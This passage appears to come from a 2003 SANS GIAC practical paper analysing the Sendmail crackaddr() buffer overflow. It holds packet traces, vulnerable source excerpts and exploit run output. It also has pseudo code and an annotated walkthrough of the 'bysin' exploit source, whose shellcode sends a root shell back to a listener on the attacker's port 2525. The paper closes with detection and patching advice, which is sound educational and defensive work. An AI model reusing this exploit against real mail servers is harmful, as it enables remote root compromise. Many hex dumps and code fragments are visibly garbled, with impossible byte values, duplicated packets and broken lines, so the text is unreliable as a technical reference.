250 2.0.0 h5KBfrb08382 Message accepted for delivery
quit
221 2.0.0 Victim.us.com closing connection
Connection closed by foreign host.
[root@Hacker root]#
```

A network trace of the session was taken using tcpdump, with the following
switches (tcpdump is a packet sniffing utility used to capture and display TCP
packets):

- `-nn` Do no host IP or protocol number to name expansion
- `-X` Dump in ASCII format as well
[root@Victim root]# tcpdump -nn -X host 10.10.10.20
tcpdump: listening on eth0

###
# the session begins with the basic TCP handshake and port negotiation
# initiated by the sending host
###

```
06:45:22.712809 10.10.10.20.56342 > 10.10.10.25: S 174471562:174471562(0) win 5840 <mss 1460,sackOK,timestamp 377592736 0,nop,wscale 0> (DF) [tos 0x10]
0x0000  4510 003c a22a 4000 4066 6a54 0ac2 0c56 E..<*@.@j..T...V
0x0010  0ac2 0c54 dc16 0019 0a66 398a 0000 0000 ...T...f9.....
0x0020  a012 16a0 2828 0000 0204 05b4 0402 080a ....(........
0x0030  1681 73ea 1681 9ba0 0103 0300 0103 0300 ...
06:45:22.712862 10.10.10.25 > 10.10.10.20.56342: S 378103754:378103754(0) ack 174471563 win 5792 <mss 1460,sackOK,timestamp 377582570 377592736,nop,wscale 0> (DF)
0x0000  4500 003c 0000 4000 4066 0c8f 0ac2 0c54 E..<@.@......T
0x0010  0ac2 0c56 0019 dc16 1689 67ca 0a66 398b ...T...g.f9.
0x0020  a012 16a0 2828 0000 0204 05b4 0402 080a ....Q........
0x0030  1681 73ea 1681 9ba0 0103 0300 0103 0300 ...
06:45:22.713025 10.10.10.20.56342 > 10.10.10.25: . ack 1 win 5840 <nop,nop,timestamp 377592736 377582570> (DF) [tos 0x10]
0x0000  4500 003d a22b 4000 4066 6a5b 0ac2 0c56 E..<@.@......T
0x0010  0ac2 0c54 dc16 0019 0a66 398b 1689 67cb ...T...f9..g.
0x0020  8010 16a0 2828 0000 0204 05b4 0402 080a ....Q........
0x0030  1681 73eb 0000 0000 0103 0300 0103 0300 ...
06:45:22.722578 10.10.10.25 > 10.10.10.20.56342: P 1:85(84) ack 1 win 5792 <mss 1460,sackOK,timestamp 377592736 0,nop,wscale 0> (DF)
0x0000  4500 0088 1421 4000 4066 f821 0ac2 0c54 E..<@.@......T
0x0010  0ac2 0c54 dc16 1689 67cb 0a66 398b ...V...g.f9.
0x0020  8018 16a0 d2a0 0000 0101 080a 1681 73eb ....P...Z........
0x0030  1681 9ba0 3232 3020 4l69 6e75 7838 342e ...20.Vitim.
0x0040  7573 2e63 666d 2045 534d 5450 2053.com.ESMTP.S
0x0050  656e en
06:45:22.722692 10.10.10.25 > 10.10.10.20.56342: . ack 85 win 5840 <nop,nop,timestamp 377592737 377582571> (DF) [tos 0x10]
0x0000  4510 003d a22c 4000 4066 6a5b 0ac2 0c56 E..<@.@......V
0x0010  0ac2 0c54 dc16 1689 67cb 0a66 398b ...V...g.f9.
0x0020  8010 16a0 2828 0000 0204 05b4 0402 080a ....Q........
0x0030  1681 73eb 0000 0000 0103 0300 0103 0300 ...
```

###
# here the sendmail conversation begins with the receiving host
# sending the sender version information
###

```
06:45:22.725690 10.10.10.20.56342 > 10.10.10.25: P 1:85(84) ack 1 win 5792 <nop,nop,timestamp 377592736 377592736> (DF)
0x0000  4500 0088 1421 4000 4066 f821 0ac2 0c54 E..<@.@......T
0x0010  0ac2 0c56 dc16 1689 67cb 0a66 398b ...V...g.f9.
0x0020  8018 16a0 d2a0 0000 0101 080a 1681 73eb ....P...Z........
0x0030  1681 9ba0 3232 3020 4l69 6e75 7838 342e ...20.Vitim.
0x0040  7573 2e63 666d 2053.com.ESMTP.S
0x0050  656e en
06:45:22.725823 10.10.10.20.56342 > 10.10.10.25: . ack 85 win 5840 <nop,nop,timestamp 377592737 377582571> (DF) [tos 0x10]
0x0000  4510 003d a22c 4000 4066 6a5b 0ac2 0c56 E..<@.@......V
0x0010  0ac2 0c54 dc16 1689 67cb 0a66 398b ...V...g.f9.
0x0020  8010 16a0 2828 0000 0204 05b4 0402 080a ....Q........
0x0030  1681 73eb 0000 0000 0103 0300 0103 0300 ...
```
# the HELLO, here is the first step in sending the email

##

```
06:45:31.716469 10.10.10.20.56342 > 10.10.10.25: P 1:20(19) ack 85 win 5840
<nop,nop,timestamp 377593636 377582571> (DF) [tos 0x10]
```

```
0x0000  4510 0047 a22d 4000 4006 6a46 0ac2 0c56   E..G.-@.@J...V
0x0010  0ac2 0c54 dc16 0019 0a66 399b 1689 618f   ...T.....f9...h.
0x0020  8018 16d0 68f6 0000 0101 080a 1681 9f24   .....h.........$
0x0030  1681 73eb 4845 4c0f 2031 3012 3139 342e   ..s.HELO.10.10.
0x0040  3132 2e38 360d 0a 10.20
```

```
06:45:31.716840 10.10.10.10.25 > 10.10.10.20.56342: . ack 20 win 5792
<nop,nop,timestamp 377593636> (DF)
```

```
0x0000  4500 0034 1422 4000 4006 f874 0ac2 0c54   E..4."@.@t.T
0x0010  0ac2 0c56 0019 dc16 1689 681f 0a66 399e   ...V.....h.f9.
0x0020  8010 16a0 4f7e 0000 0101 080a 1681 776e   ....O........$.w
0x0030  1681 9f24 3235 3020 4c69 6e75 7838 342e   ..$250.Vitim.
```

##

```
06:45:31.716981 10.10.10.10.25 > 10.10.10.20.56342: P 85:166(81) ack 20 win
```

```
0x0000  4500 0085 1423 4000 4006 f822 0ac2 0c54   E..$3."@.@.V
0x0010  0ac2 0c56 0019 dc16 1689 6870 0a66 399e   ...V.....h.f9.
0x0020  8018 16a0 4ce1 0000 0101 080a 1681 776e   ....L........$.w
0x0030  1681 9f24 3235 3020 7573 2e63 6f6d 2048  ..$250.Vitim.Hello.
```

```
0x0040  696e in
```

```
06:45:31.717095 10.10.10.20.56342 > 10.10.10.25: . ack 166 win 5840
<nop,nop,timestamp 377593636> (DF) [tos 0x10]
```

```
0x0000  4510 0052 a22f 4000 4006 f83d 0ac2 0c56   E..R./@.@J..V
0x0010  0ac2 0c54 dc16 0019 0a66 399e 1689 618f   ...T.....f9...h.
0x0020  8018 16a0 77c7 0000 0101 080a 1681 9f24   ....w........$.w
0x0030  1681 776e 4d41 494c 2046 524f 4d3a 726f   wnMAIL.FROM:ro
```

```
0x0040  6f74 5f40 3130 2e31 3934 2e31 322e 3836   ot_@10.10.10.20
```

```
0x0050  0d0a
```

##

```
06:45:35.159261 10.10.10.20.56342 > 10.10.10.25: P 20:50(30) ack 166 win 5840
<nop,nop,timestamp 377593636> (DF) [tos 0x10]
```

```
0x0000  4510 0055 1422 4000 4006 6a39 0ac2 0c56   E..R/@@.j...V
0x0010  0ac2 0c54 dc16 0019 0a66 399e 1689 6870   ...T.....f9...h.
0x0020  8018 16d0 77c7 0000 0101 080a 1681 a07d   ....w........$.w
0x0030  1681 776e 4d41 494c 2046 524f 4d3a 726f   wnMAIL.FROM:ro
```

```
0x0040  6f74 5f40 3130 2e31 3934 2e31 322e 3836   ot_@10.10.10.20
```

```
0x0050  0d0a
```

##

```
06:45:35.167527 10.10.10.20.56342 > 10.10.10.25: P 166:209(43) ack 50 win 5792
<nop,nop,timestamp 377593981> (DF)
```

```
0x0000  4510 005f 0034 a22e 4000 4006 6a39 0ac2   E..5.@@.j....V
0x0010  0ac2 0c54 dc16 0019 0a66 399e 1689 6870   ...T.....f9...h.
0x0020  8018 16a0 77c7 0000 0101 080a 1681 a07d   ....w........$.w
0x0030  1681 776e 4d41 494c 2046 524f 4d3a 726f   wnMAIL.FROM:ro
```

```
0x0040  6f74 5f40 3130 2e31 3934 2e31 322e 3836   ot_@10.10.10.20
```

```
0x0050  0d0a
```

##

```
06:45:35.167654 10.10.10.20.56342 > 10.10.10.25: . ack 209 win 5840
<nop,nop,timestamp 377593981> (DF) [tos 0x10]
```

```
0x0000  4510 0047 a22d 4000 4006 f83d 0ac2 0c54   E..G.-@.@J...V
0x0010  0ac2 0c54 dc16 0019 0a66 399e 1689 6870   ...T.....f9...h.
0x0020  8018 16a0 77c7 0000 0101 080a 1681 a07d   ....w........$.w
0x0030  1681 776e 4d41 494c 2046 524f 4d3a 726f   wnMAIL.FROM:ro
```

```
0x0040  6f74 5f40 3130 2e31 3934 2e31 322e 3836   ot_@10.10.10.20
```

```
0x0050  0d0a
```
The rcpt to sent by the sending host

06:45:39.465044 10.10.10.20.56342 > 10.10.10.25: P 50:64(14) ack 209 win 5840
<nop,nop,timestamp 377583816> (DF) [tos 0x10]
0x0000  4510 0034 a230 4000 4006 6a56 0ac2 0c56  E..4.0@.@jV...V
0x0010  0ac2 0c54 dc16 0019 0a66 39bc 1689 689b  ...T......f9....h.
0x0020  8010 16d0 4c01 0000 0101 080a 1681 a07d  ...L.........}
0x0030  1681 78c8 ..x.

###

The response from the receiving host

06:45:39.467500 10.10.10.25 > 10.10.10.20.56342: P 209:241(32) ack 64 win 5792
<nop,nop,timestamp 377594411 377594411> (DF) [tos 0x10]
0x0000  4510 0042 a231 4000 4006 6a47 0ac2 0c56  E..B.1@.@jG...V
0x0010  0ac2 0c54 dc16 0019 0a66 39ca 1689 68bb  ...V.....f9....h.
0x0020  8018 16a0 935e 0000 0101 080a 1681 a22b  ....^........zv
0x0030  1681 78c8 5243 5054 2054 726f 6f74 ..RCPT.TO:root
0x0040  0d0a

###

The data sent from the sending host – this will contain the text of the message

06:45:41.762496 10.10.10.20.56342 > 10.10.10.25: P 64:70(6) ack 241 win 5840
<nop,nop,timestamp 377594441 377594441> (DF) [tos 0x10]
0x0000  4510 003a a232 4000 4006 6a4d 0ac2 0c56  E..:.3@.@jM...V
0x0010  0ac2 0c56 dc16 0019 0a66 39ca 1689 68bb  ...V......f9....h.
0x0020  8018 16a0 935e 0000 0101 080a 1681 a22b  ....^........zv
0x0030  1681 78c8 4441 5441 4000 1d0a ..zvDATA..

###

The response from the receiving host acknowledging it is ready to accept the message

06:45:41.763217 10.10.10.25 > 10.10.10.20.56342: P 241:291(50) ack 70 win 5792
<nop,nop,timestamp 377594441 377594441> (DF) [tos 0x10]
0x0000  4510 003a a233 4000 4006 6a4d 0ac2 0c56  E..:3@.@jM...V
0x0010  0ac2 0c54 dc16 0019 0a66 39ca 1689 68bb  ...T......f9....h.
0x0020  8018 16d0 4929 0000 0101 080a 1681 a22b  ....I].........+
0x0030  1681 a22b 3235 3020 322e 312e 3520 726f  ..350.2.1.5.ro
0x0040  6f74 2e2e 2e20 5265 6369 7069 656e 7420  ot...Recipient.
0x0050  6f6b ok

###

The sender's data, containing the test of the message

06:45:41.763344 10.10.10.20.56342 > 10.10.10.25: . ack 291 win 5840
<nop,nop,timestamp 377594441 377594441> (DF) [tos 0x10]
0x0000  4510 003a a232 4000 4006 6a4d 0ac2 0c56  E..:.3@.@jM...V
0x0010  0ac2 0c54 dc16 0019 0a66 39ca 1689 68bb  ...V......f9....h.
0x0020  8018 16a0 935e 0000 0101 080a 1681 a22b  ....^........zv
0x0030  1681 78c8 4441 5441 4000 1d0a ..zvDATA..

© SANS Institute 2003, As part of GIAC practical repository. Author retains full rights.
0x0000 4510 0034 a234 4000 4006 6a52 0ac2 0c56 E..4.4..@.jR...V
0x0010 0ac2 0c54 dc16 0019 0a66 39d0 1689 68ed ...T.....f9...h.
0x0020 8010 16d0 4674 0000 0101 080a 1681 a311 ...Ft...........
0x0030 1681 7b5b ....[{[...
06:45:44.367986 10.10.10.20.56342 > 10.10.10.25: P 70:86(16) ack 291 win 5840
<nop,nop,timestamp 377594901 377584475> (DF) [tos 0x10]
0x0000 4510 0044 a235 4000 4006 6a41 0ac2 0c56 E..D.5..@.jA...V
0x0010 0ac2 0c54 dc16 0019 0a66 39d0 1689 68ed ...T.....f9...h.
0x0020 8018 16d0 7dee 0000 0101 080a 1681 a415 ....}]
0x0030 1681 7b5b 7468 6973 2069 7320 6120 7465 ...{(this.is.a.te
0x0040 7374 0d0a ...
###
The response from the receiving host
###
06:45:44.407214 10.10.10.25 > 10.10.10.20.56342: P ..ack 86 win 5792
<nop,nop,timestamp 377584740 377594901> (DF)
0x0000 4510 0034 1427 4000 4006 f86f 0ac2 0c54 E..4.'@..o...T
0x0010 0ac2 0c56 0019 dc16 1689 68ed 0a66 39e0 ...V.....h.f9.
0x0020 8010 16d0 4487 0000 0101 080a 1681 a4a5 ............
0x0030 1681 7c64 2e0d ...
06:45:45.803160 10.10.10.20.56342 > 10.10.10.25: P 86:89(3) ack 291 win 5840
<nop,nop,timestamp 377595045 377584740> (DF) [tos 0x10]
0x0000 4510 0037 a236 4000 4006 f86e 0ac2 0c54 E..7..6..@.jM...V
0x0010 0ac2 0c54 dc16 0019 0a66 39e0 1689 68ed ...T.....f9...h.
0x0020 8018 16d0 0baf 0000 0101 080a 1681 a4a5 ............
0x0030 1681 7c64 2e0d ...
06:45:45.803458 10.10.10.25 > 10.10.10.20.56342: P 89 win 5792
<nop,nop,timestamp 377584879 377595045> (DF)
0x0000 4510 0034 1428 4000 4006 f86e 0ac2 0c54 E..4.(@..n...T
0x0010 0ac2 0c56 0019 dc16 1689 68ed 0a66 39e3 ...V.....h.f9.
0x0020 8010 16a0 4369 0000 0101 080a 1681 7cef ...Cd..........
0x0030 1681 a4a5 ......
###
Mail accepted
###
06:45:45.809152 10.10.10.25 > 10.10.10.20.56342: P 291:345(54) ack 89 win 5792
<nop,nop,timestamp 377584880 377595045> (DF)
0x0000 4510 006a 1429 4000 4006 6a4d 0ac2 0c54 E..j.)@.@..7...T
0x0010 0ac2 0c56 0019 dc16 1689 68ed 0a66 39e3 ...V.....h.f9.
0x0020 8018 16a0 9c5f 0000 0101 080a 1681 7cf0 .....
0x0030 1681 a4a5 3235 3020 322e 302e 3020 6835 ...250.2.0.0.h5
0x0040 4b42 6a5a 6230 3833 3839 204d 6573 7361 KBjZb08389.Messa
0x0050 6765 ge
06:45:45.809271 10.10.10.25 > 10.10.10.20.56342: . ack 345 win 5840
<nop,nop,timestamp 377595046 377584880> (DF) [tos 0x10]
0x0000 4510 0034 a237 4000 4006 f86f 0ac2 0c56 E..4.7@.jO...V
0x0010 0ac2 0c54 dc16 0019 0a66 39e3 1689 6923 ...T.....f9...i#
0x0020 8010 16d0 4301 0000 0101 080a 1681 a4a6 ....C..........
0x0030 1681 7cf0 .....
###
The done sent by the sending host
###
06:45:48.949108 10.10.10.20.56342 > 10.10.10.25: P 89:95(6) ack 345 win 5840
<nop,nop,timestamp 377595360 377584880> (DF) [tos 0x10]
0x0000 4510 003a a238 4000 4006 6a48 0ac2 0c56 E..8.@.jH...V
0x0010 0ac2 0c54 dc16 0019 0a66 39e3 1689 6923 ...T.....f9...i#
The conversation depicted shows a normal, legitimate mail conversation in action. It has followed all the rules and meets the protocol requirements, as will
the exploit described later. As the exploit is discussed you will see how it follows the same basic conversation.

**How the exploit works**

**Buffer overflows 101**

Before exploring the specifics of this exploit I think it is important to understand the basic concept of a buffer overflow and why they are associated with security vulnerabilities. A buffer is a contiguous block of memory allocated by a program and used to store multiple instances of same data types. A buffer has no bounds by default. This means a user can write beyond the space allocated to the buffer by the program, if no checks are made. There are 2 types of buffers: static and dynamic (also known as stack-based buffers). Stack-based buffers are used by the stack (the stack is the area in memory where the program pointers, return address, local variables of running processes are maintained or stored). By writing more to the buffer than allocated to it, (i.e. writing 16 bytes to a buffer 12 bytes long) the buffer will overflow. If the buffer is overflowed in a manner that a frame pointer (a frame pointer is used to reference the local variables and the function parameters) and return address (the address of the next instruction) is overwritten it can be manipulated to execute code different than the original program intended (i.e. /bin/sh). That code will run as the user that owns the buffer, which is the user that ran the original program. If the exploitable buffer belongs to a process that is running as a privileged user the code executed will run in the same context, ergo if /bin/sh gets executed it will be running as root and have full access to the machine and can do any number of things including executing commands, stealing passwords, installing rootkits etc..

An excellent source for more information on buffer overflows is a paper written by Aleph One called “Smashing The Stack For Fun And Profit “ and can be found at [http://destroy.net/machines/security/P49-14-Aleph-One](http://destroy.net/machines/security/P49-14-Aleph-One).

**How the overflow is triggered**

This Sendmail remote vulnerability occurs when processing and evaluating header fields in email collected during an SMTP transaction. Specifically, when fields are encountered that contain addresses or lists of addresses (such as the "From" field, "To" field and "CC" field), Sendmail attempts to semantically evaluate whether the supplied address (or list of addresses) are valid. This is accomplished using the crackaddr() function, which is located in the headers.c file in the Sendmail source tree, and overrunning it with ‘<>’ brackets. ([http://www.securiteam.com/unixfocus/5PP03209FW.html](http://www.securiteam.com/unixfocus/5PP03209FW.html)).

A static buffer is used to store data that has been processed. Sendmail detects when this buffer becomes full and stops adding characters, although it continues processing. Sendmail implements several security checks to ensure that characters are parsed correctly. One such security check is flawed, making it possible for a remote attacker to send an email with a specially crafted address...
field that triggers a buffer overflow. The snip below is the section of the
`crackaddrr()` function that deals with these brackets with my comments added
(my comments preceded with '####').

```
//snip
/* check for angle brackets */
##### c is the character being read in from the from address field
if (c == '<')
{
    register char *q;

    /* assume first of two angles is bogus */
    if (gotangle)
        quoteit = true;
    gotangle = true;
##### anglelev is used to ensure every '>' is preceded by '<'
/* oops -- have to change our mind */
gleav = 1;
    if (!skipping)
        realanglelev = 1;
    bp = bufhead;
    if (quoteit)
    {
        *bp++ = '\';
        /* back up over the '<' and any spaces */
        p = bp;
        while (isascii(*--p) && isspace(*p))
            continue;
        p++;
    }
    for (q = addrhead; q < p; )
    {
        c = *q++;
##### below bp is checked against buflim which is the buffer limit -- above which no
##### writes are allowed
        if (bp < buflim)
        {
            if (quoteit && c == '"

            *bp++ = '\';
        *bp++ = c;
        }
    }
    if (quoteit)
    {
        if (bp == &buf[1])
            bp--;
        else
            *bp++ = '"
        while ((c = *p++) != '<')
    {
            if (bp < buflim)
                *bp++ = c;
```
Here is the section being worked on by the exploit

```c
if (c == '>')
{
    if (anglev > 0)
    {
        anglev--;
        if (!skipping)
        {
            ### here is where the buffer gets extended
            realanglev--;  
            buflim++;  
        }
    }
    else if (!skipping)
    {
        /* syntax error: unmatched > */
        if (copylev > 0)
        {
            bp--;
            quoteit = true;
            continue;
        }
        else if (copylev++ <= 0)
        {
            *bp++ = c;
            continue;
        }
    }
}
else if (!skipping)
{
    /* syntax error: unmatched > */
    if (copylev > 0)
    {
        bp--;
        quoteit = true;
        continue;
    }
    else if (copylev++ <= 0)
    {
        *bp++ = c;
        continue;
    }
}
```

/* must be a real address character */

```c
putg:
if (copylev <= 0 && !putgmac)
{
    if (bp > bufhead && bp[-1] == ')')
    {
        *bp++ = '\';
        *bp++ = MACROEXPAND;
        *bp++ = 'g';
        putgmac = true;
    }
}
```

//end snip

The exploit crafts the from address with 250 '<>', which causes crackaddr() to write beyond the defined limit of buffer (overflow the buffer). The `crackaddr` function bases the buffer length it assigns addresses in SMTP headers on the presence and location of left and right angle brackets. When it detects a right angle bracket, `crackaddr` increments a variable called `buflim`, above which no writes should be allowed. Similarly, when it detects a left angle bracket, `crackaddr` should decrement `buflim`. But in unpatched versions of `sendmail`, this
doesn't happen, thereby exposing buffer that should be protected. (reference http://securecomputing.stanford.edu/alerts/sendmail-vuln.html)

**Diagram**
The network diagram below depicts the layout used during the testing of this exploit. Although the layout used went from an internal network to a DMZ, the principals can be applied to an attack coming from the Internet. The flowchart depicts the basic logic flow of the exploit.

The output below shows the results of running the bysin.c code.

[root@Hacker]# ./bysin victim hacker RedHat
Sendmail <8.12.8 crackaddr() exploit by bysin from the l33tsecurity crew
Resolving address... Address found
Connecting... Connected!
Sending exploit... Exploit sent!
Waiting for root prompt...

[root@Hacker]#

The code also opens a listening port on the attacking host, telneting to port 2525 on the hacker machine resulted in the below:

[root@hacker]# telnet localhost 2525
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
uname -a
This exploit would be very difficult if not impossible to run manually, it is possible to cause the buffer to overflow by supplying the required number of ‘<>’ pairs to be passed to the crackaddr() function but loading the exploit code into the overflowed buffer and executing the code without some sort of program would be a daunting task. My attempts to run this overflow resulted in the below error message and I was not able to go any further.

```
553 5.1.1
<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><
><><><><><><><><><><><><><><><...><><><><><><><><><><><><><><><><><><
<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>...
Address too long (255 bytes max)
```

**How to use the exploit**

This exploit had a couple of proof of concept source codes posted; I decided to use the one written by 133tsecurity crew called bysin. This code exploited the crackaddr function of Sendmail (see Appendix A). This is done by overrunning the FROM address char buffer with <> brackets which is not handled correctly by the crackaddr function ([http://www.securiteam.com/unixfocus/5PP03209FW.html](http://www.securiteam.com/unixfocus/5PP03209FW.html)). The code was downloaded from [http://www.securityfocus.com/bid/6991/exploit/](http://www.securityfocus.com/bid/6991/exploit/) and compiled it on RedHat linux release 9 using the GNU C compiler (gcc bysin.c); the compiler generated the a.out file, which I renamed to bysin. I then executed bysin and provided the parameters required (target ip address or name, source address or name and target operating system) as depicted above. This program will also allow the user to specify a memory address offset to function on.

The testing I did using the proof of concept code failed to produce a root shell, or anything more than the ‘address too long’ error. I believe this is due to the way Linux does not allow certain characters to be written to the buffer and the offset in memory. The table below shows the results posted on the securitTeam website for this exploit using code written by LSD (Last Stage of Delirium, a group out of Poland); although the code differs, it attacks the same vulnerability using the same technique of forcing ‘<>’ into the from address field. ([http://www.securiteam.com/unixfocus/5PP03209FW.html](http://www.securiteam.com/unixfocus/5PP03209FW.html))

**Tested systems:**

- FreeBSD 4.4 - (default & self compiled Sendmail 8.11.6) does not crash
- Solaris 8.0 x86 - (default & self compiled Sendmail 8.11.6) does not crash
- Solaris 8.0 Sparc - (default & self compiled Sendmail 8.11.6) does not crash
- HP-UX 10.20 - (self compiled Sendmail 8.11.6) does not crash
- IRIX 6.5.14 - (self compiled Sendmail 8.11.6) does not crash
- AIX 4.3 - (binary of Sendmail 8.11.3 from bull.de) does not crash
- RedHat 7.0 - (default Sendmail 8.11.0) does not crash
- RedHat 7.2 - (default Sendmail 8.11.6) does not crash
- RedHat 7.3 (p) - (patched Sendmail 8.11.6) does not crash
- RedHat 7.0 - (self compiled Sendmail 8.11.6) crashes
- RedHat 7.2 - (self compiled Sendmail 8.11.6) crashes
- RedHat 7.3 - (self compiled Sendmail 8.11.6) crashes
- Slackware 8.0 (p) - (patched Sendmail 8.11.6 binary) crashes
- Slackware 8.0 - (self compiled Sendmail 8.12.7) does not crash
* RedHat 7.x - (self compiled Sendmail 8.12.7) does not crash

(p) - patched box

Signature of the attack
This exploit leaves tell tale traces, an email (pictured below – note the from field full of <>), and log entries (note the infinite loop)

"/var/spool/mail/root": 1 message 1 new
> N 1 <><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><<
How to Protect against it

The recommended protection for the exposure is to apply current patch or upgrade. Sendmail has patches available for versions 8.9, 8.10, 8.11 and 8.12 but the vulnerability is present in previous version and it is recommended to upgrade to the current release of 8.12.8 (this was superceded by 8.12.9). These patches or upgrades are available from the Sendmail ftp site (ftp://ftp.sendmail.org/pub/sendmail/). Using an Intrusion Detection System (i.e.: ISS real secure or Snort) that had the proper signatures will provide detection of this attack and allow for a quick response to contain the damage. As with any application, boundary checks should be an important part of the quality assurance process; the industry as a whole is doing a much better job at this then in the past, but there is always room for improvement.

There are also some promising IPS (Intruder Prevention Systems) coming on the market that have potential of providing value in preventing this type of intrusion. Dylan Tweney stated in a recent CIO magazine article "Broadly speaking, the new crop of IPS products fall into two categories: host-based intrusion prevention (HIP) products such as those offered by Entercept, Harris and Okena; and even newer network-based intrusion prevention appliances offered by companies including Intruvert, OneSecure and TippingPoint."
(Defensive Postures - - CIO Magazine Jun 15,2003 http://www.cio.com/archive/061503/et_article.html). Due to this exploit being delivered in an email message; a firewall will not be able to protect against this attack, as the firewall would see this as valid SMTP traffic; however; some firewall vendors are also pursuing an IPS posture such as Checkpoint’s recent release of Application Intelligence, which allows the firewall to provide application level attack protection and access control.

Source code/Pseudo code
The picture above shows what the code hopes to produce, the pseudo code follows:

a) Gather information needed to establish the target: ip address of the target; source ip address, and target OS – optional memory offset start for bruteforce
b) Generate machine code using the input and adding the “<>” pairs and nops needed to overflow the buffer.
c) Connect to the target over port 25.
d) Open port 2525 on the hacker machine as a listener.
e) Setup keyboard for local machine to send input to victim machine.
f) Supply the necessary SMTP/Sendmail greetings (HELO, MAIL FROM:, RCPT TO:, DATA) to establish conversation with victim machine
g) Send the machine code to the victim machine.
h) Overflow the buffer on victim machine.
i) Obtain root shell on victim machine.
j) Send the root shell to hacker machine listening on port 2525.

The code

At this point, a walk through of the code is in order (note, this code will not work as is). The original code is indented, my comments are not.

```c
/* Sendmail <8.12.8 crackaddr() exploit by bysin */
/* from the i33tsecurity crew */

###Standard C libraries defined

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
```
### Setting up an array to be used later as part of the machine code.

```c
int maxarch=1;
struct arch {
    char *os;
    int angle,nops;
    unsigned long aptr;
} archs[] = {
    {"Slackware 8.0 with sendmail 8.11.4",138,1,0xbfffbe34}
};
```  

### The 138 is the number of angle pairs, the 1 is the number of nops and the 0xbfffbe34 is the memory address offset.

/////////////////////////////////////////////////////////

### Here the LISTENPORT variable is define as 2525, this is the port that will be opened on the hacking machine to receive the root shell from the victim

```c
#define LISTENPORT 2525
#define BUFSIZE 4096
```

### Here some machine code is defined for later use

```c
char code[]=                    /* 116 bytes                      */
"\xeb\x02"                  /* jmp    <shellcode+4>           */
"\xeb\x08"                  /* jmp    <shellcode+12>          */
"\xe8\xf9\xff\xff\xff"      /* call   <shellcode+2>           */
"\xcd\x7f"                  /* ret                               */
"\xc3"                      /* ret                               */
"\xdb"                      /* pop    %edi                    */
"\x31\xc0"                  /* xor    %eax,%eax               */
"\x50"                      /* push   % eax                    */
"\xb0\x66"                  /* mov    $0x66,%al               */
"\x31\xdb"                  /* xor    % ebx,% ebx             */
"\x43"                      /* inc    % ebx                    */
"\xff\xd7"                  /* call   *%edi                    */
"\xbb\xff\xff\xff\xff\xff" /* mov    $0xffffffff,% edx        */
```

This will be the ip address
### Screen output messages defined

```c
void header() {
    printf("\nSendmail <8.12.8\n"crackaddr() exploit by bysin\n"
);
    printf("           from the l33tsecurity crew\n\n");
}

void printtargets() {
    unsigned long i;
    header();
    printf("\n\t Target\t Addr\t OS\n");
    printf("\t-------------------------------------------\n");
    for (i=0;i<maxarch;i++) printf("\t %d\t 0x%08x\t %s\n",i,archs[i].aptr,archs[i].os);
}
```
void writesocket(int sock, char *buf) {
    if (send(sock, buf, strlen(buf), 0) <= 0) {
        printf("Error writing to socket\n");
        exit(0);
    }
}

###This section checks for the final sendmail response from the victim

void readsocket(int sock, int response) {
    char temp[BUFSIZE];
    memset(temp, 0, sizeof(temp));
    if (recv(sock, temp, sizeof(temp), 0) <= 0) {
        printf("Error reading from socket\n");
        exit(0);
    }
    if (response != atol(temp)) {
        printf("Bad response: %s\n", temp);
        exit(0);
    }
}

###Here the function for reading from the sockets is defined

int readutil(int sock, int response) {
    char temp[BUFSIZE], *str;
    while(1) {
        fd_set readfs;
        struct timeval tm;
        FD_ZERO(&readfs);
        FD_SET(sock, &readfs);
        tm.tv_sec = 1;
        tm.tv_usec = 0;
        if (select(sock + 1, &readfs, NULL, NULL, &tm) <= 0) return 0;
        memset(temp, 0, sizeof(temp));
        if (recv(sock, temp, sizeof(temp), 0) <= 0) {
            printf("Error reading from socket\n");
            exit(0);
        }
        str = (char *) strtok(temp, "\n");
        while (str && *str) {
            if (atol(str) == response) return 1;
            str = (char *) strtok(NULL, "\n");
        }
    }
}

#define NOTVALIDCHAR(c) (((c)==0x00)||((c)==0x0d)||((c)==0x0a)||((c)==0x22)||(((c)>&0x7f)==0x24)||(((((c)>&0x80)&&(c)\n<0xa0)))

void findvalmask(char* val, char* mask, int len) {
    int i;
    ...
unsigned char c,m;
for(i=0;i<len;i++) {
    c=val[i];
    m=0xff;
    while(NOTVALIDCHAR(c^m)||NOTVALIDCHAR(m)) m--;
    val[i]=c^m;
    mask[i]=m;
}

###Here the fixshellcode function is defined, it is used to insert command line parameters into the machine code
void fixshellcode(char *host, unsigned short port) {
